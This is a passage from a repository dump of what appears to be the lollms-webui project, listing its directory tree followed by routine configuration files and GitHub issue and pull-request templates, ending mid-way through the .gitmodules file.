├── .devcontainer ├── devcontainer.json └── docker-compose.yml ├── .env.example ├── .github ├── ISSUE_TEMPLATE.md ├── PULL_REQUEST_TEMPLATE.md └── dependabot.yml ├── .gitignore ├── .gitmodules ├── .hadolint.yaml ├── .pre-commit-config.yaml ├── .vscode └── settings.json ├── CHANGELOG.md ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── Dockerfile ├── LICENSE ├── ManualInstall.md ├── README.md ├── SECURITY.md ├── ai_ethics ├── Harmonizing Humanity and AI.md ├── ParisNeo.png ├── can_we_contain_ai.md ├── fair_discussion.md ├── paradox_of_progress.md ├── poison_models.md ├── thoughts_about_ai.md ├── thoughts_about_tomorrow.md ├── thoughts_about_tomorrow_hard_thinking.md └── thoughts_about_tomorrow_prompt.md ├── api ├── config.py └── helpers.py ├── app.py ├── assets ├── conda_session.ico ├── default_user.svg ├── logo.ico ├── logo.jpg ├── logo.png ├── logo_guibli.png ├── logo_old.ico ├── logo_old.png ├── logo_starter_pack.png ├── logo_twins.png ├── lollms_2.png ├── lollms_kawai.png ├── lollms_lego_image.png ├── petals.ico ├── petals.svg ├── ubuntu.ico ├── ubuntu.png └── update.ico ├── books.sqlite ├── code_templates └── tts │ └── settings.txt ├── configs └── config.yaml ├── databases └── .keep ├── docker-compose.yml ├── docs ├── Usable_infos_for building │ ├── light_version_proc.md │ └── personality_info.md ├── blog_posts │ └── midas.md ├── books │ ├── The Rise of the Machines.md │ └── books.sqlite ├── custom_personality_docs │ ├── README.md │ └── architecture.png ├── dev │ ├── db_infos.md │ ├── full_endpoints_list.md │ ├── new_ui_dev.md │ ├── scheme.png │ └── server_endpoints.md ├── function_calls │ └── doc.md ├── lollms_user_guide │ ├── lollms_user_guide.pdf │ └── lollms_user_guide.tex ├── modules │ ├── personality.md │ ├── tti.md │ └── tti_usage.md ├── prompts │ └── prompts_placeholders.md ├── rag │ └── README.md ├── songs │ └── ai_rap_god.py ├── usage │ ├── AdvancedInstallInstructions.md │ ├── Build_extensions.md │ ├── Linux_Osx_Install.md │ └── Linux_Osx_Usage.md └── youtube │ ├── TUTORIAL PROJECT │ ├── script.md │ └── tutorial project.md │ ├── Tutorial_openai_gpt4o │ └── script.txt │ ├── appsMaker.md │ ├── homophonic harmony.txt │ ├── lollms_6.7_install.md │ ├── lollms_architecture.md │ ├── lollms_collaborative_test.md │ ├── lollms_context.md │ ├── lollms_context_short.md │ ├── lollms_contextual_summery.md │ ├── lollms_deep_dive.txt │ ├── lollms_function_calls.md │ ├── lollms_lawyer.md │ ├── lollms_mistral.md │ ├── lollms_ollama_install.md │ ├── lollms_smart_router.md │ ├── lollms_snake_game.md │ ├── lollms_theming_system.md │ ├── lollms_tutorial_artbot_nft.md │ ├── lollms_v6_windows_install.md │ ├── lollms_v8.0_install_gpu.md │ ├── lollms_vision.md │ ├── lollms_windows_graphical_installer.md │ ├── lord_of_internet.md │ ├── mistral_large.md │ ├── open_router.md │ ├── playground_coding.md │ ├── playground_translation.md │ ├── podcast_steering_1.md │ ├── scheme.png │ ├── script_install.md │ ├── script_lollms.md │ ├── script_models.md │ ├── script_personalities.md │ └── v3_installation.md ├── events ├── lollms_chatbox_events.py ├── lollms_discussion_events.py ├── lollms_generation_events.py └── lollms_interactive_events.py ├── extensions ├── .keep └── chatgpt2lollms │ ├── chatgpt2lollms.py │ ├── converted.json │ └── indent_json.py ├── help ├── faqs.csv ├── index.html └── personalities │ └── documents summary │ └── index.html ├── images ├── default_model.png └── icon.png ├── install.bat ├── install.sh ├── install_lollms_webui.bat ├── installer.iss ├── installer.py ├── installer_cpu.iss ├── lollms_webui.py ├── models.yaml ├── notebooks └── ggml_quantize.ipynb ├── package-lock.json ├── package.json ├── presets ├── airoboros_instruct.yaml ├── airoboros_instruct_with_obs.yaml ├── alpaca_instruct.yaml ├── alpaca_instruct_with_input.yaml ├── build_latex_book.yaml ├── build_markdown_book.yaml ├── email_enhancing_service.yaml ├── explain_code.yaml ├── fix_a_code.yaml ├── fix_misspelling.yaml ├── instruct_mode.yaml ├── make_programming_project.yaml ├── meeting_minute_builder.yaml ├── original.json ├── qna_with_conditionning.yaml ├── simple_book_writing.yaml ├── simple_question_answer.yaml ├── stable_bulga2_instruct.yaml ├── translate_code_file_strings.yaml └── translate_text.yaml ├── requirements.txt ├── requirements_dev.txt ├── restart_script.py ├── run.bat ├── scripts ├── build_wheels.bat ├── build_wheels_linux.sh ├── code_fixes │ └── code_semicolumns.py ├── linux │ ├── install_conda_lib.sh │ ├── linux_conda_session.sh │ ├── linux_install.sh │ ├── linux_run.sh │ ├── lollms_installer.sh │ └── uninstall.sh ├── macos │ ├── install_conda_lib.sh │ ├── lollms_installer_macos.sh │ ├── macos_conda_session.sh │ ├── macos_install.sh │ └── macos_run.sh ├── python │ ├── lollms_installer │ │ ├── frontend │ │ │ ├── .gitignore │ │ │ ├── README.md │ │ │ ├── dist │ │ │ │ ├── assets │ │ │ │ │ ├── index-uMQcfNrh.css │ │ │ │ │ └── logo-VYB8PrVU.png │ │ │ │ ├── index.html │ │ │ │ └── vite.svg │ │ │ ├── index.html │ │ │ ├── package-lock.json │ │ │ ├── package.json │ │ │ ├── postcss.config.js │ │ │ ├── public │ │ │ │ └── vite.svg │ │ │ ├── src │ │ │ │ ├── App.vue │ │ │ │ ├── assets │ │ │ │ │ ├── fonts │ │ │ │ │ │ ├── PTSans │ │ │ │ │ │ │ ├── OFL.txt │ │ │ │ │ │ │ ├── PTSans-Bold.ttf │ │ │ │ │ │ │ ├── PTSans-BoldItalic.ttf │ │ │ │ │ │ │ ├── PTSans-Italic.ttf │ │ │ │ │ │ │ └── PTSans-Regular.ttf │ │ │ │ │ │ └── Roboto │ │ │ │ │ │ │ ├── LICENSE.txt │ │ │ │ │ │ │ ├── Roboto-Black.ttf │ │ │ │ │ │ │ ├── Roboto-BlackItalic.ttf │ │ │ │ │ │ │ ├── Roboto-Bold.ttf │ │ │ │ │ │ │ ├── Roboto-BoldItalic.ttf │ │ │ │ │ │ │ ├── Roboto-Italic.ttf │ │ │ │ │ │ │ ├── Roboto-Light.ttf │ │ │ │ │ │ │ ├── Roboto-LightItalic.ttf │ │ │ │ │ │ │ ├── Roboto-Medium.ttf │ │ │ │ │ │ │ ├── Roboto-MediumItalic.ttf │ │ │ │ │ │ │ ├── Roboto-Regular.ttf │ │ │ │ │ │ │ ├── Roboto-Thin.ttf │ │ │ │ │ │ │ └── Roboto-ThinItalic.ttf │ │ │ │ │ ├── tailwind.css │ │ │ │ │ └── vue.svg │ │ │ │ ├── components │ │ │ │ │ ├── MessageBox.vue │ │ │ │ │ └── Toast.vue │ │ │ │ ├── main.js │ │ │ │ ├── services │ │ │ │ │ └── websocket.js │ │ │ │ ├── style.css │ │ │ │ └── views │ │ │ │ │ └── Install.vue │ │ │ ├── tailwind.config.js │ │ │ └── vite.config.js │ │ └── main.py │ ├── sd_server.py │ └── xtts_start.py ├── utilities │ └── text2csv.py ├── windows │ ├── install_conda_lib.bat │ ├── lollms_installer.bat │ ├── new_win_run.bat │ ├── ui_installer │ │ ├── .gitignore │ │ ├── CODE_OF_CONDUCT.md │ │ ├── LICENSE.txt │ │ ├── favicon.ico │ │ ├── first_install.bat │ │ ├── install_script.iss │ │ ├── logo.ico │ │ ├── lollms_installer.iss │ │ ├── lollms_intro.md │ │ └── lollmsenv_installer.bat │ ├── uninstall.bat │ ├── win_conda_session.bat │ ├── win_install.bat │ ├── win_lollms_session.bat │ └── win_run.bat └── wsl │ ├── .gitignore │ ├── README.md │ ├── explainer.md │ ├── install_script.sh │ ├── lollms-installer-with-petals.iss │ ├── lollms_petals_runner.bat │ ├── petals_server.bat │ ├── petals_server.sh │ ├── requirements_installer.bat │ ├── run_script.sh │ ├── ubuntu.bat │ ├── ubuntu_installer.bat │ ├── uninstall.bat │ └── wsl_installer.bat ├── setup.py ├── tailwind.config.js ├── tests ├── end_point_tests │ └── endpoints.http ├── execution │ └── test_execution.py ├── free_tests │ └── test_pyllamacpp.py ├── pentests │ ├── code_injection │ │ └── test_code_injection.py │ ├── local_file_inclusion │ │ └── lfi_test.py │ ├── multipart_dos │ │ ├── dos_attack.html │ │ ├── multiparts_dos.py │ │ ├── test_no_dos.py │ │ └── test_upload.txt │ ├── path_traversal │ │ ├── avatar_vulenerability.py │ │ ├── open_code_folder_vulenerability.py │ │ ├── open_code_in_vs_code_vulenerability.py │ │ ├── open_file_vulenerability.py │ │ ├── pentests.http │ │ └── user_infos.py │ ├── service_denial │ │ └── test_service_denial.py │ ├── sql_injection │ │ └── test_sql_injection.py │ ├── test.txt │ ├── test_sanitize │ │ └── test.py │ └── tests.http └── unitary_tests │ ├── test_app.py │ ├── test_chat_interface.py │ ├── test_chat_interface_streaming.py │ ├── test_chat_interface_streaming2.py │ ├── test_delete_message.py │ └── test_huggingface_models_list.py ├── tests_and_fun ├── rap_god.py └── themes_maker.py ├── tools ├── CodeAnalyzer │ └── code_analyzer.py ├── LiteSQLViewer │ └── LiteSQLViewer.py ├── code_doc │ └── code_doc.py └── folder2txt.py ├── train ├── .gitignore ├── configs │ ├── deepspeed │ │ └── ds_config.yaml │ └── train │ │ ├── .gitignore │ │ ├── finetune.yaml │ │ ├── finetune_lora.yaml │ │ └── finetune_lora_ airoboros-7b-gpt4.yaml ├── requirements.txt └── train.py ├── update_script.py ├── utilities └── execution_engines │ ├── assets │ ├── abcjs-basic-min.min.js │ ├── graphviz_container.html │ ├── mermaid.min.js │ ├── mermaid_container.html │ └── viz-standalone.js │ ├── graphviz_execution_engine.py │ ├── html_execution_engine.py │ ├── javascript_execution_engine.py │ ├── latex_execution_engine.py │ ├── lilypond_execution_engine.py │ ├── mermaid_execution_engine.py │ ├── python_execution_engine.py │ ├── shell_execution_engine.py │ └── svg_execution_engine.py ├── verify_pipmaster.py └── web ├── .env ├── .eslintrc.cjs ├── .gitignore ├── .prettierrc.json ├── LICENSE ├── dist ├── assets │ ├── KaTeX_AMS-Regular-BQhdFMY1.woff2 │ ├── KaTeX_AMS-Regular-DMm9YOAa.woff │ ├── KaTeX_AMS-Regular-DRggAlZN.ttf │ ├── KaTeX_Caligraphic-Bold-ATXxdsX0.ttf │ ├── KaTeX_Caligraphic-Bold-BEiXGLvX.woff │ ├── KaTeX_Caligraphic-Bold-Dq_IR9rO.woff2 │ ├── KaTeX_Caligraphic-Regular-CTRA-rTL.woff │ ├── KaTeX_Caligraphic-Regular-Di6jR-x-.woff2 │ ├── KaTeX_Caligraphic-Regular-wX97UBjC.ttf │ ├── KaTeX_Fraktur-Bold-BdnERNNW.ttf │ ├── KaTeX_Fraktur-Bold-BsDP51OF.woff │ ├── KaTeX_Fraktur-Bold-CL6g_b3V.woff2 │ ├── KaTeX_Fraktur-Regular-CB_wures.ttf │ ├── KaTeX_Fraktur-Regular-CTYiF6lA.woff2 │ ├── KaTeX_Fraktur-Regular-Dxdc4cR9.woff │ ├── KaTeX_Main-Bold-Cx986IdX.woff2 │ ├── KaTeX_Main-Bold-Jm3AIy58.woff │ ├── KaTeX_Main-Bold-waoOVXN0.ttf │ ├── KaTeX_Main-BoldItalic-DxDJ3AOS.woff2 │ ├── KaTeX_Main-BoldItalic-DzxPMmG6.ttf │ ├── KaTeX_Main-BoldItalic-SpSLRI95.woff │ ├── KaTeX_Main-Italic-3WenGoN9.ttf │ ├── KaTeX_Main-Italic-BMLOBm91.woff │ ├── KaTeX_Main-Italic-NWA7e6Wa.woff2 │ ├── KaTeX_Main-Regular-B22Nviop.woff2 │ ├── KaTeX_Main-Regular-Dr94JaBh.woff │ ├── KaTeX_Main-Regular-ypZvNtVU.ttf │ ├── KaTeX_Math-BoldItalic-B3XSjfu4.ttf │ ├── KaTeX_Math-BoldItalic-CZnvNsCZ.woff2 │ ├── KaTeX_Math-BoldItalic-iY-2wyZ7.woff │ ├── KaTeX_Math-Italic-DA0__PXp.woff │ ├── KaTeX_Math-Italic-flOr_0UB.ttf │ ├── KaTeX_Math-Italic-t53AETM-.woff2 │ ├── KaTeX_SansSerif-Bold-CFMepnvq.ttf │ ├── KaTeX_SansSerif-Bold-D1sUS0GD.woff2 │ ├── KaTeX_SansSerif-Bold-DbIhKOiC.woff │ ├── KaTeX_SansSerif-Italic-C3H0VqGB.woff2 │ ├── KaTeX_SansSerif-Italic-DN2j7dab.woff │ ├── KaTeX_SansSerif-Italic-YYjJ1zSn.ttf │ ├── KaTeX_SansSerif-Regular-BNo7hRIc.ttf │ ├── KaTeX_SansSerif-Regular-CS6fqUqJ.woff │ ├── KaTeX_SansSerif-Regular-DDBCnlJ7.woff2 │ ├── KaTeX_Script-Regular-C5JkGWo-.ttf │ ├── KaTeX_Script-Regular-D3wIWfF6.woff2 │ ├── KaTeX_Script-Regular-D5yQViql.woff │ ├── KaTeX_Size1-Regular-C195tn64.woff │ ├── KaTeX_Size1-Regular-Dbsnue_I.ttf │ ├── KaTeX_Size1-Regular-mCD8mA8B.woff2 │ ├── KaTeX_Size2-Regular-B7gKUWhC.ttf │ ├── KaTeX_Size2-Regular-Dy4dx90m.woff2 │ ├── KaTeX_Size2-Regular-oD1tc_U0.woff │ ├── KaTeX_Size3-Regular-CTq5MqoE.woff │ ├── KaTeX_Size3-Regular-DgpXs0kz.ttf │ ├── KaTeX_Size4-Regular-BF-4gkZK.woff │ ├── KaTeX_Size4-Regular-DWFBv043.ttf │ ├── KaTeX_Size4-Regular-Dl5lxZxV.woff2 │ ├── KaTeX_Typewriter-Regular-C0xS9mPB.woff │ ├── KaTeX_Typewriter-Regular-CO6r4hn1.woff2 │ ├── KaTeX_Typewriter-Regular-D3Ib7_Hf.ttf │ ├── LaTeX_block-BNFNi2yr.png │ ├── apl-B4CMkyY2.js │ ├── asciiarmor-Df11BRmG.js │ ├── asn1-EdZsLKOL.js │ ├── asterisk-B-8jnY81.js │ ├── bash_block-DZNRrwlz.png │ ├── brainfuck-C4LP7Hcl.js │ ├── clike-Cr_nJiF2.js │ ├── clojure-BMjYHr_A.js │ ├── cmake-BQqOBYOt.js │ ├── cobol-CWcv1MsR.js │ ├── coffeescript-S37ZYGWr.js │ ├── commonlisp-DBKNyK5s.js │ ├── cpp_block-kkmuBJ_E.png │ ├── crystal-SjHAIU92.js │ ├── css-BnMrqG3P.js │ ├── cypher-C_CwsFkJ.js │ ├── d-pRatUO7H.js │ ├── default_function-CyfcuNmo.png │ ├── default_model-6TyToX4A.png │ ├── diff-DbItnlRl.js │ ├── dockerfile-BU1Ap__c.js │ ├── dtd-DF_7sFjM.js │ ├── dylan-DwRh75JA.js │ ├── ebnf-CDyGwa7X.js │ ├── ecl-Cabwm37j.js │ ├── eiffel-CnydiIhH.js │ ├── elm-vLlmbW-K.js │ ├── erlang-BNw1qcRV.js │ ├── factor-BPndPnYX.js │ ├── fcl-Kvtd6kyn.js │ ├── forth-Ffai-XNe.js │ ├── fortran-DYz_wnZ1.js │ ├── functioncall-Cm2fTSgb.png │ ├── gas-Bneqetm1.js │ ├── gherkin-heZmZLOM.js │ ├── gpu-BWVOYg-D.svg │ ├── groovy-D9Dt4D0W.js │ ├── haskell-BWDZoCOh.js │ ├── haxe-H-WmDvRZ.js │ ├── html5_block-beC_-Wtz.png │ ├── http-DBlCnlav.js │ ├── idl-BEugSyMb.js │ ├── index-B5TDFu4g.js │ ├── index-BAlVrpzY.js │ ├── index-BIO9zc1g.js │ ├── index-Ba618f2O.css │ ├── index-BdRKEzch.js │ ├── index-DEsrnl1P.js │ ├── index-Dn2yfoKA.js │ ├── index-ew3kOEoJ.js │ ├── javascript-qCveANmP.js │ ├── jinja2-C4DGRd-O.js │ ├── julia-DuME0IfC.js │ ├── livescript-BwQOo05w.js │ ├── logo-BEzyxJ6i.png │ ├── logo-CQZwS0X1.svg │ ├── mathematica-DTrFuWx2.js │ ├── mbox-CNhZ1qSd.js │ ├── mirc-CjQqDB4T.js │ ├── mllike-CXdrOF99.js │ ├── modelica-Dc1JOy9r.js │ ├── mscgen-BA5vi2Kp.js │ ├── mumps-BT43cFF4.js │ ├── nginx-DdIZxoE0.js │ ├── nsis-ClDXqMnM.js │ ├── ntriples-BfvgReVJ.js │ ├── octave-Ck1zUtKM.js │ ├── oz-BzwKVEFT.js │ ├── pascal--L3eBynH.js │ ├── perl-CdXCOZ3F.js │ ├── pig-CevX1Tat.js │ ├── powershell-CFHJl5sT.js │ ├── properties-C78fOPTZ.js │ ├── protobuf-ChK-085T.js │ ├── pug-DukmZTjD.js │ ├── puppet-DMA9R1ak.js │ ├── python-BuPzkPfP.js │ ├── python_block-Bt12VGEE.png │ ├── q-ZnEupP5q.js │ ├── r-B6wPVr8A.js │ ├── rpm-CTu-6PCP.js │ ├── sas-B4kiWyti.js │ ├── scheme-C41bIUwD.js │ ├── sieve-C3Gn_uJK.js │ ├── simple-mode-CKxFYdZi.js │ ├── smalltalk-CnHTOXQT.js │ ├── solr-DehyRSwq.js │ ├── sparql-DkYu6x3z.js │ ├── spreadsheet-BCZA_wO0.js │ ├── sql-D0XecflT.js │ ├── stex-C3f8Ysf7.js │ ├── stylus-BdAi1jBa.js │ ├── swift-BzpIVaGY.js │ ├── tcl-DVfN8rqt.js │ ├── textile-CnDTJFAw.js │ ├── tiddlywiki-DO-Gjzrf.js │ ├── tiki-DGYXhP31.js │ ├── toml-BXUEaScT.js │ ├── troff-wAsdV37c.js │ ├── ttcn-CfJYG6tj.js │ ├── ttcn-cfg-B9xdYoR4.js │ ├── turtle-B1tBg_DP.js │ ├── vb-CmGdzxic.js │ ├── vbscript-BuJXcnF6.js │ ├── velocity-D8B20fx6.js │ ├── verilog-C6RDOZhf.js │ ├── vhdl-lSbBsy5d.js │ ├── webidl-ZXfAyPTL.js │ ├── xquery-CQfU5ijd.js │ ├── yacas-BJ4BC0dw.js │ └── z80-Hz9HOZM7.js ├── chime_aud.wav ├── connection_lost.wav ├── connection_recovered.wav ├── favicon.ico ├── fonts │ ├── PTSans │ │ ├── OFL.txt │ │ ├── PTSans-Bold.ttf │ │ ├── PTSans-BoldItalic.ttf │ │ ├── PTSans-Italic.ttf │ │ └── PTSans-Regular.ttf │ └── Roboto │ │ ├── Roboto-Black.ttf │ │ ├── Roboto-BlackItalic.ttf │ │ ├── Roboto-Bold.ttf │ │ ├── Roboto-BoldItalic.ttf │ │ ├── Roboto-Italic.ttf │ │ ├── Roboto-Light.ttf │ │ ├── Roboto-LightItalic.ttf │ │ ├── Roboto-Medium.ttf │ │ ├── Roboto-MediumItalic.ttf │ │ ├── Roboto-Regular.ttf │ │ ├── Roboto-Thin.ttf │ │ └── Roboto-ThinItalic.ttf ├── help │ ├── code-interpreter.md │ ├── getting-started.md │ ├── image-generation.md │ ├── internet-search.md │ ├── lollms-context.md │ ├── lollms-styling.md │ ├── managing-personalities.md │ ├── music-generation.md │ ├── personality.md │ ├── sending-images.md │ ├── text-generation.md │ ├── troubleshooting.md │ └── uploading-files.md ├── index.html ├── movie.png ├── music.png ├── play_video.png ├── podcast.png ├── rebooting.wav ├── themes │ ├── amber.css │ ├── borg.css │ ├── christmas.css │ ├── default.css │ ├── lollms_blue.css │ ├── matrix.css │ ├── matrix_reborn.css │ ├── red_dragon.css │ ├── sober_gray.css │ ├── strawberry.css │ └── strawberry_milkshake.css └── tutorial.png ├── index.html ├── package-lock.json ├── package.json ├── postcss.config.js ├── public ├── chime_aud.wav ├── connection_lost.wav ├── connection_recovered.wav ├── favicon.ico ├── fonts │ ├── PTSans │ │ ├── OFL.txt │ │ ├── PTSans-Bold.ttf │ │ ├── PTSans-BoldItalic.ttf │ │ ├── PTSans-Italic.ttf │ │ └── PTSans-Regular.ttf │ └── Roboto │ │ ├── Roboto-Black.ttf │ │ ├── Roboto-BlackItalic.ttf │ │ ├── Roboto-Bold.ttf │ │ ├── Roboto-BoldItalic.ttf │ │ ├── Roboto-Italic.ttf │ │ ├── Roboto-Light.ttf │ │ ├── Roboto-LightItalic.ttf │ │ ├── Roboto-Medium.ttf │ │ ├── Roboto-MediumItalic.ttf │ │ ├── Roboto-Regular.ttf │ │ ├── Roboto-Thin.ttf │ │ └── Roboto-ThinItalic.ttf ├── help │ ├── code-interpreter.md │ ├── getting-started.md │ ├── image-generation.md │ ├── internet-search.md │ ├── lollms-context.md │ ├── lollms-styling.md │ ├── managing-personalities.md │ ├── music-generation.md │ ├── personality.md │ ├── sending-images.md │ ├── text-generation.md │ ├── troubleshooting.md │ └── uploading-files.md ├── movie.png ├── music.png ├── play_video.png ├── podcast.png ├── rebooting.wav ├── themes │ ├── amber.css │ ├── borg.css │ ├── christmas.css │ ├── default.css │ ├── lollms_blue.css │ ├── matrix.css │ ├── matrix_reborn.css │ ├── red_dragon.css │ ├── sober_gray.css │ ├── strawberry.css │ └── strawberry_milkshake.css └── tutorial.png ├── src ├── App.vue ├── assets │ ├── LaTeX_block.png │ ├── active.svg │ ├── animated_info.svg │ ├── bash_block.png │ ├── brain.svg │ ├── brain_green.svg │ ├── brain_orange.svg │ ├── brain_red.svg │ ├── code_block.svg │ ├── cpp_block.png │ ├── deaf_off.svg │ ├── deaf_on.svg │ ├── default_model.png │ ├── default_user.svg │ ├── discord.svg │ ├── extension.png │ ├── failed.svg │ ├── fastapi.png │ ├── fonts │ │ ├── PTSans │ │ │ ├── OFL.txt │ │ │ ├── PTSans-Bold.ttf │ │ │ ├── PTSans-BoldItalic.ttf │ │ │ ├── PTSans-Italic.ttf │ │ │ └── PTSans-Regular.ttf │ │ └── Roboto │ │ │ ├── LICENSE.txt │ │ │ ├── Roboto-Black.ttf │ │ │ ├── Roboto-BlackItalic.ttf │ │ │ ├── Roboto-Bold.ttf │ │ │ ├── Roboto-BoldItalic.ttf │ │ │ ├── Roboto-Italic.ttf │ │ │ ├── Roboto-Light.ttf │ │ │ ├── Roboto-LightItalic.ttf │ │ │ ├── Roboto-Medium.ttf │ │ │ ├── Roboto-MediumItalic.ttf │ │ │ ├── Roboto-Regular.ttf │ │ │ ├── Roboto-Thin.ttf │ │ │ └── Roboto-ThinItalic.ttf │ ├── fun_mode.svg │ ├── gpu.svg │ ├── html5_block.png │ ├── inactive.svg │ ├── javascript_block.svg │ ├── json_block.png │ ├── loader_v0.svg │ ├── loading.svg │ ├── logo.png │ ├── logo.svg │ ├── memory_icon.svg │ ├── normal_mode.svg │ ├── ok.svg │ ├── process.svg │ ├── python_block.png │ ├── rec_off.svg │ ├── rec_on.svg │ ├── registry.svg │ ├── robot.svg │ ├── send.svg │ ├── send_globe.svg │ ├── spinner.svg │ ├── static_info.svg │ ├── strawberry.png │ ├── tailwind.css │ ├── tokenize_icon.svg │ ├── vscode.svg │ └── vscode_black.svg ├── components │ ├── ActionButton.vue │ ├── AddModelDialog.vue │ ├── AudioFrame.vue │ ├── BindingEntry.vue │ ├── Card.vue │ ├── ChangelogPopup.vue │ ├── ChatBarButton.vue │ ├── ChoiceDialog.vue │ ├── ClipBoardTextInput.vue │ ├── CookiesForm.vue │ ├── DictManager.vue │ ├── DragDrop.vue │ ├── DropdownMenu.vue │ ├── FloatingUIInfos.vue │ ├── Footer.vue │ ├── FunctionEntry.vue │ ├── IPythonConsole.vue │ ├── InteractiveMenu.vue │ ├── JsonTreeView.vue │ ├── MarkdownBundle │ │ ├── AudioAlbumViewer.vue │ │ ├── CodeBlock.vue │ │ ├── DynamicUIRenderer.vue │ │ ├── ImageAlbumViewer.vue │ │ ├── JsonNode.vue │ │ ├── JsonViewer.vue │ │ ├── LatexEditor.vue │ │ ├── MarkdownEditor.vue │ │ ├── MarkdownRenderer.vue │ │ ├── RenderHTMLJS.vue │ │ ├── ThinkingBlock.vue │ │ └── VideoAlbumViewer.vue │ ├── MessageBox.vue │ ├── ModelEntry.vue │ ├── MountedPersonalities.vue │ ├── MountedPersonalitiesList.vue │ ├── Navigation.vue │ ├── OptionsPopup.vue │ ├── PaintingComponent.vue │ ├── PersonalitiesCommands.vue │ ├── PersonalityEditor.vue │ ├── PersonalityEntry.vue │ ├── PersonalityViewer.vue │ ├── PopupViewer.vue │ ├── Progressbar.vue │ ├── RadioOptions.vue │ ├── SafeSwitch.vue │ ├── ServiceEntry.vue │ ├── SettingsSidebar.vue │ ├── SkillsViewer.vue │ ├── SocialIcon.vue │ ├── StatusIcon.vue │ ├── StatusIndicator.vue │ ├── Step.vue │ ├── StringListManager.vue │ ├── TextFrame.vue │ ├── Toast.vue │ ├── ToggleSwitch.vue │ ├── TokensHilighter.vue │ ├── ToolbarButton.vue │ ├── TopBar.vue │ ├── UniversalForm.vue │ ├── VideoFrame.vue │ ├── WelcomeComponent.vue │ ├── YesNoDialog.vue │ ├── code.vue │ └── input_box.vue ├── css │ ├── classic.css │ └── syrup-dark.css ├── main.js ├── nodes │ ├── LLM.js │ ├── Multichoice.js │ ├── Personality.js │ ├── Rag.js │ ├── Task.js │ ├── TaskDispatcher.js │ ├── TextDisplay.js │ └── Yes_No.js ├── plugins │ └── filesize.js ├── router │ └── index.js ├── services │ └── websocket.js ├── themes │ ├── amber.css │ ├── borg.css │ ├── christmas.css │ ├── default.css │ ├── lollms_blue.css │ ├── red_dragon.css │ ├── sober_gray.css │ ├── strawberry.css │ └── strawberry_milkshake.css └── views │ ├── AppsZoo.vue │ ├── AutoSDView.vue │ ├── ComfyuiView.vue │ ├── DiscussionsView.vue │ ├── ExtensionsView.vue │ ├── FunctionCallsZoo.vue │ ├── HelpView.vue │ ├── InteractiveView.vue │ ├── NodesView.vue │ ├── PlayGroundView.vue │ ├── QuantizingView.vue │ ├── SettingsView.vue │ ├── TrainingView.vue │ ├── discussion_page_components │ ├── ChatArea.vue │ ├── HoverMenu.vue │ ├── LeftPanel.vue │ ├── RenderPanel.vue │ └── WelcomeScreen.vue │ └── settings_components │ ├── BindingZooSettings.vue │ ├── DataManagementSettings.vue │ ├── FunctionCallsZooSettings.vue │ ├── InternetSettings.vue │ ├── MainConfigSettings.vue │ ├── ModelConfigSettings.vue │ ├── ModelsZooSettings.vue │ ├── PersonalitiesZooSettings.vue │ ├── ServicesZooSettings.vue │ ├── SmartRoutingSettings.vue │ └── SystemStatusSettings.vue ├── tailwind.config.js └── vite.config.mjs /.devcontainer/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.8' 2 | services: 3 | # Update this to the name of the service you want to work with in your docker-compose.yml file 4 | webui: 5 | # Uncomment if you want to override the service's Dockerfile to one in the .devcontainer 6 | # folder. Note that the path of the Dockerfile and context is relative to the *primary* 7 | # docker-compose.yml file (the first in the devcontainer.json "dockerComposeFile" 8 | # array). The sample below assumes your primary file is in the root of your project. 9 | # 10 | # build: 11 | # context: . 12 | # dockerfile: .devcontainer/Dockerfile 13 | 14 | volumes: 15 | # Update this to wherever you want VS Code to mount the folder of your project 16 | - ..:/workspaces:cached 17 | 18 | # Uncomment the next four lines if you will use a ptrace-based debugger like C++, Go, and Rust. 19 | # cap_add: 20 | # - SYS_PTRACE 21 | # security_opt: 22 | # - seccomp:unconfined 23 | 24 | # Overrides default command so things don't shut down after the process ends. 25 | command: /bin/sh -c "while sleep 1000; do :; done" 26 | 27 | -------------------------------------------------------------------------------- /.env.example: -------------------------------------------------------------------------------- 1 | # Select one binding: elf, openrouter, openai, groq, mistralai, ollama, vllm, litellm, 2 | # exllamav2, python_llama_cpp, huggingface, remote_lollms, xAI, gemini 3 | BINDING=python_llama_cpp 4 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | ## Expected Behavior 2 | Please describe the behavior you are expecting. 3 | 4 | ## Current Behavior 5 | Please describe the behavior you are currently experiencing. 6 | 7 | ## Steps to Reproduce 8 | Please provide detailed steps to reproduce the issue. 9 | 10 | 1. Step 1 11 | 2. Step 2 12 | 3. Step 3 13 | 14 | ## Possible Solution 15 | If you have any suggestions on how to fix the issue, please describe them here. 16 | 17 | ## Context 18 | Please provide any additional context about the issue. 19 | 20 | ## Screenshots 21 | If applicable, add screenshots to help explain the issue. -------------------------------------------------------------------------------- /.github/PULL_REQUEST_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | ## Description 2 | Please include a summary of the change and which issue is fixed. Please also include relevant motivation and context. List any dependencies that are required for this change. 3 | 4 | Fixes # (issue) 5 | 6 | ## Type of change 7 | Please delete options that are not relevant. 8 | 9 | - [ ] Bug fix (non-breaking change which fixes an issue) 10 | - [ ] New feature (non-breaking change which adds functionality) 11 | - [ ] Breaking change (fix or feature that would cause existing functionality to change) 12 | 13 | ## Checklist: 14 | Please put an `x` in the boxes that apply. You can also fill these out after creating the PR. 15 | 16 | - [ ] My code follows the style guidelines of this project 17 | - [ ] I have performed a self-review of my own code 18 | - [ ] I have commented my code, particularly in hard-to-understand areas 19 | - [ ] My changes generate no new warnings 20 | - [ ] I have added tests that prove my fix is effective or that my feature works 21 | - [ ] I have tested this code locally, and it is working as intended 22 | - [ ] I have updated the documentation accordingly 23 | 24 | ## Screenshots 25 | If applicable, add screenshots to help explain your changes. 26 | -------------------------------------------------------------------------------- /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | --- 2 | version: 2 3 | updates: 4 | - package-ecosystem: "github-actions" 5 | directory: "/" 6 | schedule: 7 | interval: "weekly" 8 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "zoos/bindings_zoo"] 2 | path = zoos/bindings_zoo 3 | url = https://github.com/ParisNeo/lollms_bindings_zoo.git 4 | branch = main 5 | [submodule "zoos/personalities_zoo"] 6 | path = zoos/personalities_zoo 7 | url = https://github.com/ParisNeo/lollms_personalities_zoo.git 8 | branch = main 9 | [submodule "zoos/models_zoo"] 10 | path = zoos/models_zoo 11 | url = https://github.com/ParisNeo/models_zoo.git 12 | branch = main 13 | [submodule 